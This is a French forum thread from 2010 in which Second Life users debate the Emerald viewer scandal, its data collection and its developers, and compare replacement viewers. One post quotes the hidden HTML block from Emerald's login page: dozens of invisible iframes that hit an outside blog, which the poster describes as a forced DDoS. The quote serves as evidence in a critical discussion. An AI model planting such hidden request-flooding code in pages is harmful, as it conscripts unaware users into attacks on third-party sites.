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Bagnard
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06/09/2010, 22h12
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Nouvel Alternative pour emerald !
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Alpha & Oméga
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Citation :
Je citerais l exemple l affaire du windows genuine http://www.zdnet.fr/actualites/le-di...e-39361979.htm Le mouchard existait et envoyait sans accord péralable des information utilisateurs à microsoft . Je souligne que cela se passe dans la couche OS et non applicative . Contrairement à second life / emerald qui ne peut fournir que des informations cantonnées à l installation ou l utilisation du viewer et non pas de l ensemble de l ordinateur , windows genuine fournissait d autres information de l ensemble de l ordinateur Ou bien dois je parler de Google Cars qui lui collectait des informations comme la clé WIFI et l adresse MAC même si on ne se connectait pas à leurs services ? Citation :
Reprenons google . Beaucoup de sites utilisent des API de goocgle , il y a un transfer HTTP vers les sites de google qui peut servir à alimenter les bases de données de google . Or le surfer ( ou butineur ) lorsqu il a cliqué sur un site , n a pas forcément l intention d appler les services de google Pour moi , c est le fonctionnement analogue avec emerald . Citation :
 Citation :
Le volume de traffic lors de la connection est dérisoire par rapport au volume total de la navigation Citation :
Peu après , comme par magie , windows a diversifié son offre logicielle ... Tiens , c est vraiment bizarre. En quoi les pesronnes d emerald sont plus coupables de collecter nom du compte +adresse IP uniquement ? Citation :
Par exemple pour ce qui est connu du grand public - l AO intégré avec emerald pour faire tourner le script localement et non pas sur le serveur pour alléger la charge des scripts - les protections anti spams - les tentatives pour détecter les messages des copyboteurs - le cryptage des IMs - la meilleure performance du radar qu un objet prim scripté LSL - mais aussi des plugins qu ils avaient fait autour pour second life Tu fais exprès d oublier qu Emerald a essayé de sécuriser les connections qui n ont été mis en place , côté linden lab , seulement à la version 2.0 |
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06/09/2010, 22h19
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Héros / Héroïne
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Elle est bien bonne la raison de la lutte anti copybot sachant que c'est les mêmes qui ont aider les copyboteurs façon c'est impossible de lutter contre les copybots .Faire payer des systèmes comme le cds ou RedZone s'est vraiment prendre les gens pour des idiots .
 Bref, je ne comprends pas cette précipitation sur Phoenix peu etre que le nom Imprudence ne donne pas trop envie lol
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Mon pc : i7-5930K/ MSI X99S SLI PLUS, 16 Go de DDR4 G.Skill Ripjaws 4 2666 MHz /SSD Plextor M5 Pro Xtreme 512 Go/ Sli GTX 970 MSI GAMING 4G/Ecran ViewSonic VP2772
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06/09/2010, 22h24
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Alpha & Oméga
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Citation :
Toutes les fonctionnalités supplémentaires qui ont fait le succès d'Emerald (upload gratuit de textures temporaires, tp par click, sit on ground, seins rebondissants, filtres rapides dans l'inventaire, restauration de l'objet dans sa position précédente, avatar fantôme, traduction automatique des IM, etc.) sont présentes, avec même des trucs bien utiles en plus: * Pas besoin d'uploader une texture temporaire: vous pouvez mettre une texture (vue par vous uniquement) depuis votre ordinateur directement, ce qui fait tout de même gagner un certain temps, surtout si vous devez procéder à des corrections successives. * la recherche dans l'inventaire par nom de créateur par ex, qui vous permet de retrouver les photos qui vous ont été envoyés par des amis, des vêtements ou des cheveux dont vous avez oublié le nom, etc. * la recherche d'objets sur le terrain (avec filtres, ex par nom de créateur) * le mouvement des habits-textures (honnêtement l'effet est moyen, même si c'est sympa) * les ombres sur le sol (si carte graphique un peu costaud) * le "switch" de la configuration Windlight choisie par le propriétaire de la sim - malheureusement utilisable sur OpenSim uniquement (LightShare); LL ne permettant pas encore de régler cela dans les propriétés de la région. * Windlight par notecards, ce qui vous permet de faire des échanges d'atmosphères avec vos amis. * la possibilité d'envoyer automatiquement un IM de réponse personnalisée à ceux qui vous contactent sans pour autant être en mode "busy" (ce qui vous permet de continuer à recevoir des notecards ou des objets par ex.) * chercher/remplacer dans les notecards *SpeedRez (charge en priorité les éléments proches de l'endroit où vous êtes) * Pour builder: Copier/coller toutes les positions, rotations, etc. par un simple clic, ce qui fait gagner du temps pour ses alignements. * Build mathématique: c'est à dire que vous pouvez entrer des formules: par exemple vous avez besoin de grossir 2,5 fois votre objet, vous pouvez ajouter une formule du genre *2.5, PX + 20 vous permet d'augmenter votre position en X de 20 mètres, etc. Documentation ici Le principal reproche qu'on fait à Imprudence, c'est que leur radar (limité à 512m mais les avatars sont détectés sur toute la sim pour ceux qui ont les pouvoirs de manager) est moins performant que celui d'Emerald, à croire que l'activité principale des gens sur SL, c'est d'espionner leurs voisins  . Cela dit, pour les curieux, le radar permet, en plus du TPto, un Camto vous permettant de visualiser votre voisin en un seul clic et je crois qu'ils travaillent à un nouveau radar, sans imposer le fameux bridge d'Emerald qui vous collait partout. Quand j'avais installé Imprudence fin août, pas mal de trucs n'allaient pas et je m'étais crashé deux fois, d'où une certaine déception. Avec la dernière version (la 09.04 Experimental Release qui doit devenir "stable" cette semaine), je n'ai plus ces problèmes et il me semble que la vitesse de chargement des textures est plus rapide qu'Emerald (mais bon, je n'avais pas installé les dernières versions). La police de caractère a été changée. Bref, je ne comprends pas cette précipitation sur Phoenix, dont la plupart des développeurs sont restés jusqu'au dernier moment sur Emerald, et ne sont partis qu'après la semonce de LL, alors que j'ai l'impression d'un travail beaucoup plus humble et honnête, pour tout dire moins arrogant et moins fanfaron, de la part de cette équipe d'Imprudence, qui bosse à ce projet depuis deux ans. |
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06/09/2010, 22h26
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Empereur / Impératrice
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06/09/2010, 22h28
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Alpha & Oméga
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Citation :
Cela revient au même : quand par exemple tu achètes des lindens sur le site de second life , c est paypal ou ta carte bancaire le fournisseur de services , mais linden le tiers . Paypal enregistre ta transaction , mais Linden est bien obligé d enregistrer à la fois ta transaction et ta connection en cas de litiges. Sinon , si ils ne le font pas , c est paypal qui fairait payer linden en cas de litiges . De la même façon pour Emerald . Si quelqu un porte plainte contre Linden Lab lorsqu il se connecte avec emerald , Linden Lab se retourne contre emerald. En quoi Emerald ne pourrait pas avoir le droit de connaitre les connections des clients pour se couvrir , ou simplement pour voir le succès ou non d une release , ou simplment connaitre l ampleur du traffic ? De plus , on ne se connecte pas forcémentà Emerald pour aller sur SL . Beaucoup de personnes l utilisent pour aller sur une opensim , ou bien sur leur propre serveur en local . http://opensimulator.org/wiki/Main_Page/fr C est utile notamment pour le build Si j utilises Emerald pour me connecter sur mon propre serveur en local , c est Emerald qui est le fournisseur de services si on peut dire Citation :
Linden Lab n a pas essayé ... |
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06/09/2010, 22h35
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Alpha & Oméga
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Je ne comprends pas ce que Linden Lab vient faire dans ton argumentaire, ni même Microsoft ou Google. Il ne s'agit pas ici de sociétés, mais d'une bande de petites frappes immatures qui ont un historique de griefer et de créateur de copybot (puis de créateurs d'un système de lutte contre les copybots dont ils savaient pertinemment qu'il ne marchait pas, mais qu'ils vendaient quand même...)
Et même si d'autres l'ont fait avant, c'est pas pour ça que c'est un comportement acceptable. Tu critiques MS ou Google, mais tu considères que pour Emerald, c'est pas grave. Il y a quelques grosses failles de logique dans ton argumentation. Je ne comprends pas non plus cet entêtement à les défendre. Je rappelle quand même que ce ne sont pas les seuls créateurs de fonctions supplémentaires pour les TPV, et qu'une bonne partie de leurs innovations venaient des autres viewers open source. De toutes façons, le débat n'est même pas là. Il ne s'agit pas de faire un bilan entre les fonctions bénéfiques et les fonctions néfastes. A partir du moment où il y a des fonctions néfastes, ils perdent toute crédibilité. Enfin, tu peux continuer à t'acharner à argumenter et minimiser, ça ne sert à rien, et je ne vois vraiment pas ce que tu as à gagner dans l'histoire. Comme on l'a dit: chacun fait ce qu'il veut avec les infos qu'il a. |
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06/09/2010, 23h14
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Invité
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@ redpurple :
Voici le code ajouté dans la page de login : Code HTML:
<div style="display:inline; visibility:hidden; width: 1px; height: 1px;"> <br /> <iframe src="http://iheartanime.com/griffblog.php?article=omnomnomnomnom"></iframe> <iframe src="http://iheartanime.com/griffblog.php?article=omnomnomnomnom"></iframe> <iframe src="http://iheartanime.com/griffblog.php?article=omnomnomnomnom"></iframe> <iframe src="http://iheartanime.com/griffblog.php?article=omnomnomnomnom"></iframe> <iframe src="http://iheartanime.com/griffblog.php?article=omnomnomnomnom"></iframe> <iframe src="http://iheartanime.com/griffblog.php?article=omnomnomnomnom"></iframe> <iframe src="http://iheartanime.com/griffblog.php?article=omnomnomnomnom"></iframe> <iframe src="http://iheartanime.com/griffblog.php?article=omnomnomnomnom"></iframe> <iframe src="http://iheartanime.com/griffblog.php?article=omnomnomnomnom"></iframe> <iframe src="http://iheartanime.com/griffblog.php?article=omnomnomnomnom"></iframe> <iframe src="http://iheartanime.com/griffblog.php?article=omnomnomnomnom"></iframe> <iframe src="http://iheartanime.com/griffblog.php?article=omnomnomnomnom"></iframe> <iframe src="http://iheartanime.com/griffblog.php?article=omnomnomnomnom"></iframe> <iframe src="http://iheartanime.com/griffblog.php?article=omnomnomnomnom"></iframe> <iframe src="http://iheartanime.com/griffblog.php?article=omnomnomnomnom"></iframe> <iframe src="http://iheartanime.com/griffblog.php?article=omnomnomnomnom"></iframe> <iframe src="http://iheartanime.com/griffblog.php?article=omnomnomnomnom"></iframe> <iframe src="http://iheartanime.com/griffblog.php?article=omnomnomnomnom"></iframe> <iframe src="http://iheartanime.com/griffblog.php?article=omnomnomnomnom"></iframe> <iframe src="http://iheartanime.com/griffblog.php?article=omnomnomnomnom"></iframe> <iframe src="http://iheartanime.com/images/emerald-explore-sounds.png"></iframe> <iframe src="http://iheartanime.com/images/emerald-windows-disclosure.png"></iframe> <iframe src="http://iheartanime.com/images/emerald-mac-disclosure.png"></iframe> <iframe src="http://iheartanime.com/images/emerald-linux-disclosure.png"></iframe> <iframe src="http://iheartanime.com/images/imgsearch-v0.0.2.png"></iframe> <iframe src="http://iheartanime.com/images/FRIENDLY%20GREETINGS.jpg"></iframe> <iframe src="http://iheartanime.com/images/inertia-test.jpg"></iframe> <iframe src="http://iheartanime.com/images/inertia-login.jpg"></iframe> <iframe src="http://iheartanime.com/images/inuyertia.jpg"></iframe> <iframe src="http://iheartanime.com/images/neillife.jpg"></iframe> <iframe src="http://iheartanime.com/images/background-v2.png"></iframe> <iframe src="http://iheartanime.com/images/background.png"></iframe> </div>
 ) Citation :
Ici c'était clairement pour spammer. Ce blog n'est pas une entreprise, il ne fournit pas d'API et il ne supporte sûrement pas des montées en charge comme Google et ses milliers de serveurs. Il faut comparer ce qui est comparable.. Alors peut-être que ça ne te dérange pas d'être forcé à participer à des expériences tel que le DDOS pour utiliser un viewer, mais j'espère que tu pourras comprendre que ce n'est pas le cas de tout le monde. |
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06/09/2010, 23h39
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Alpha & Oméga
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Citation :
 mais force est de constater que emerald est bien et que je ne crashe pas dessus vite donc je n'hésite pas à l'utiliser mais il semble avoir lu ici que, les codes douteux ont été expurgés donc il n'y a plus aucun risque de ce que l'on dit non .....  , je me trompe ou pas ... 
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07/09/2010, 00h08
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Empereur / Impératrice
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Lorsque je paye avec paypal LL n'enregistre surement pas ma transaction >.> bien l'interet de paypal .
Paypal enregistre une transaction avec moi ( ou ma banque donc ) . Linden enregistre une transaction avec Paypal . Linden n'a aucune information direct sur moi . Paypal me sert de garant . En cas de litige Paypal fera aussi office de mediateur . BTW c'est pas le sujet . Et au passage quand on parle d'Emerald, on parle de Modular Systems : une société . Enfin bon ça sert a rien de retourner le couteau dans la plaie côté emerald, la majorité des SLiens y sera venu comme il en sera parti ... sans savoir pourquoi ( quel vent de panique extraordinaire >.> ) PS : l'API google était cité pour autre chose |
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07/09/2010, 00h08
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Alpha & Oméga
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Question:
Quand j'utilisais Emerald, j'avais remarqué un truc. Même si je ne suis pas un fan du radar, il m'arrivait de le mettre lorsque je buildais, car lorsque quelqu'un s'approchait trop, je préférais m'en aller, ne voulant pas forcément me taper une conversation en plein travail. Or, il se trouvait que par moment, un "avatar" était affiché comme présent dans la sim, de façon très temporaire (5-10 secondes), avec pour nom une série de points d'interrogations, à la position 0,0,0 (ou un 1,1,1, je ne sais plus). J'avais essayé de le "débusquer" en me rendant près de lui , car cette espèce de fantôme m'intriguait vraiment (plan parano) mais chaque fois c'était trop tard. Par la suite, j'ai compris que cet "avatar" ne venait que lorsque j'étais en train d'uploader une texture, temporaire ou non. Bon, je m'étais dit: "ok, c'est un truc technique normal quand j'uploade" et je n'y avais plus fait attention. Est-ce à mettre en lien avec les tentatives d'Emerald de contrôler tout ce qui pouvait se faire sur SL (dans leur "noble", avec beaucoup de guillemets, lutte contre le copybot), du genre bot espion, vérifiant que mes textures n'étaient pas copybotées, un truc comme ça, ou est-ce un phénomène normal lié à l'utilisation de SL? |
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07/09/2010, 00h12
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Alpha & Oméga
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Citation :
Je rebondis sur ca "Tu critiques MS ou Google, mais tu considères que pour Emerald, c'est pas grave." Pas du tout , ma question est simple : "où est le crime ?" microsoft et google ont fait des choses qui ont le même comportement que "le crime d emerald" et on n a pas trouvé cela si grave, personne n a traité les développeurs de microsoft et de google de crackers , de pirates et de tout ce que vous voulez comme autre insultes , personne n a fouillé dans tous les anciens posts des forums pour regarder si un potentiel pseudonyme ressemble à celui d un développeur de microsoft ou google , plein d entreprises très sérieuses et trés critiques continuent à leur faire confiance , à télécharger leurs produits . Même la justice continue à leur faire confiance. Pourquoi on trouverait qu il y a un "crime" quand ce sont les développeurs d Emerald ? Des failles il y en a plein , il suffit de voir tous les patchs de sécurité de microsoft et tu verras certains patchs contre les attaques de Deny of Service.. Mais quand c est une entreprise multinationale dont on a les couilles pendues avec, on parle de mise à jour de sécurité , c est à dire qu on s attarde sur la correction , alors que quand il s agit de développeurs indépendants on parle de volonté de nuire , c est à dire qu on s'attarde sur l origine du problème et non la correction .. Hum .. Cà , ce n est pas logique. Au passage tu dis que ce ne n est pas une société et d autres utilisateurs disent que modularsystem est une société et était derrière emerald .. Je n ai rien à gagner minimiser , mais je ne minimise pas . Par contre , je peux voir l intéret de certains à maximiser la chose .. Tu disais dans ton ancien post que ton PC n était pas infecté , mais le mien non plus ... |
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07/09/2010, 00h15
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Alpha & Oméga
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D'accord avec toi: Google n'est pas plus clean et c'est à une autre échelle que Modular System. A côté c'est un monstre qui engloutit tout et ça se trouve, Google vend ses données à ... des entreprises véreuses du type Modular System. Ce monde qu'on nous prépare est bien plus effrayant, quand on y réfléchit, que celui qu'imaginait Orwell. Pas moyen d'y échapper, en plus. La moindre parcelle de la terre, la moindre idée, le livre le plus rare sont scannés par Google. En plus se crée un sentiment anxiogène, chez les gens, un sentiment de paranoïa permanent. Mais, tout cela est un autre débat, bien plus général (sans parler de celui multinationales vs développeurs indépendants). Simplement, ce qu'on ne comprend pas, c'est ton acharnement à vouloir défendre Emerald, alors que bon, sans même parler du piratage du site de leur ennemi ou de leurs frasques diverses et variées, leur expansion dans SL à vouloir tout contrôler, à la façon d'une mafia ou d'une secte, était particulièrement effrayante. Leur projet ne se restreignait pas au rêve d'un développeur indépendant, humaniste, œuvrant pour le bien général comme tu feins de croire. Je comprends bien que ce soit pénible d'apprendre à se familiariser avec un autre viewer, alors qu'on avait ses habitudes. Cela prend du temps supplémentaire (comme si on n'en perdait pas déjà suffisamment sur SL). C'est cependant l'occasion de découvrir des choses, d'apprendre à manipuler quelque chose de différent, d'enrichir son expérience de SL et de s'intéresser au travail de développeurs méritants, qu'on n'aurait peut-être pas connus autrement. Si on prend ce temps-là, si on fait cet effort, on se rend compte qu'on peut très bien se passer d'Emerald. Maintenant, persister à faire l'éloge des développeurs d'Emerald et éprouver une fascination vis-à-vis d'eux ne me paraît pas très raisonnable. Et comme l'a dit Nibb, il ne faut pas négliger les apports venant des autres viewers, même si leurs concepteurs n'ont pas une image aussi "flamboyante" ou tape-à-l'oeil que ceux d'Emerald. Tes arguments en faveur des petits développeurs indépendants devraient t'inciter au contraire à t'intéresser à eux. Emerald était-il d'ailleurs le meilleur viewer du monde? Fais-nous plutôt un comparatif réellement objectif des plus ou des moins des viewers alternatifs, cela ferait avancer davantage le shmilblick, comme on dit. |
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07/09/2010, 01h06
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Alpha & Oméga
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Citation :
 La j'avoue que j'en reste coi! (un bel exploit  )
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07/09/2010, 02h22
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Alpha & Oméga
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Je me demande pourquoi vous ergoter.
Emerald est mort. Terminé. On tourne la page. Ils nous ont utilisés (enfin un) à notre insu pour une action malveillante. Montrant par là leur incapacité à maitriser leur processus internes (n'importe qui peu faire n'importe quoi). Ce qui a détruit toute confiance que j'avais en eux. Ce qui m'inquiète : pourquoi cela changerait il avec Phoenix ? Qu'est ce qui me prouve que les éléments incontrôlables ne sont plus là sous un autre nom ? Que l'équipe soit suffisament managée ? Pour l'instant, il n'y a qu'en Lordgreggreg que j'ai confiance. Alors ce sera Emergence. Comme cela ne durera que quelques mois, je surveille de très près ce que font Phoenix: à eux ne me prouver qu'ils méritent ma confiance.
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07/09/2010, 07h36
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Alpha & Oméga
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Citation :
Entamer une telle discussion sur ce topic du forum général risque au mieux de mener à une vaine querelle d'experts. De plus à quoi cela rimerait-il de comparer Emerald aux autres Viewers puisqu' Emerald n'est plus un TPV ? |
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07/09/2010, 07h51
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Alpha & Oméga
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Citation :
Phoenix et Emergence ne sont pas plus des TPV qu'Emerald, en tout cas à l'heure actuelle. |
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07/09/2010, 08h38
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Empereur / Impératrice
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Un métro de retard, visiblement!
Bonjour tout le monde!
je sais bien que ceci a déjà dû être mentionné quelque part dans ce forum, mais j'ai beau chercher, je ne trouve rien. Alors je pose la question: Depuis un moment déjà, j'entends parler d' "alternatives" à Emerald... Quelque chose m'aurait-il échappé? Risque-t-il de se passer quelque chose de désagréable avec Emerald, pour que je voie ainsi tout le monde lui chercher un remplaçant? J'avais cru que la récente "Alerte" était en fait sans fondement réel...? Si quelqu'un pouvait me rafraîchir la mémoire, ou me rediriger, par exemple, sur ce que j'ai besoin de savoir, je me sentirais plus léger, d'un coup! Parce que moi, Emerald, j'aime bien...cela dit, je ne suis ni "builder" ni commerçant...simple rêveur! amicalement Rocambole |
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07/09/2010, 08h50
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Alpha & Oméga
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Sinon, je viens de remettre à jour la liste des viewers SL ici: https://forums.jeuxonline.info/showt...0#post21284810 |
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07/09/2010, 09h15
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Alpha & Oméga
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07/09/2010, 09h44
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Alpha & Oméga
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07/09/2010, 10h39
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Empereur / Impératrice
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Tu crois que ça arrive souvent qu'un fournisseur de service envoie des alertes à ses clients pour une alerte sans fondement ? C'était il y a 2 semaines, il était temps que tu commences à te poser des questions
Zut, je ne suis même pas capable de faire une citation, j'ai l'air aussi intelligent qu'une charlotte aux pommes! Bref, passons... Cela dit, Nibb, je crois que je vois ce que tu veux dire, seulement voilà: tu vas trouver que je chipote, mais il subsiste 2 questions que je dois poser, afin que je cesse d'errer comme un dindon en présence d'une table des logarithmes: 1) De quels diables de fournisseurs de services parles-tu? Parlons-nous d'un F.A.I? Parce que si tel est le cas, je n'ai été averti de rien par personne de chez mon F.A.I, et là-dessus je suis formel. Ou alors, tu parles de LIndenlabs, et là non plus, aucun avertissement de rien ne m'a été communiqué...est-ce normal? J'insiste: n'eût été le présent Forum, je serais passé à côté de l'existence même d'une "affaire-Emerald"! dois-je comprendre que ceux qui sont sur SL mais pas sur JOL n'auraient rien su non plus? 2) Toute cette affaire signifie-t-elle que, quelque part dans le listing d'un site attaqué par un malveillant, se trouve l'I.P. de mon ordi??? Ce n'est pas que j'aie quoi que ce soit à cacher, note bien, et je n'ai pas facilement peur, mais je suis intrigué.... Bref, tout ceci étant, à mes yeux, aussi simple qu'une réfutation du théorème de Fermi, j'aimerais bien me sentir un peu plus "armé", pour la suite...au cas où toute cette m... se reproduirait! Un homme averti en vaut deux, dit-on! amicalement Rocambole |
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07/09/2010, 13h33
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Impératrice
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07/09/2010, 13h58
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Alpha & Oméga
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07/09/2010, 14h04
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Alpha & Oméga
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07/09/2010, 14h05
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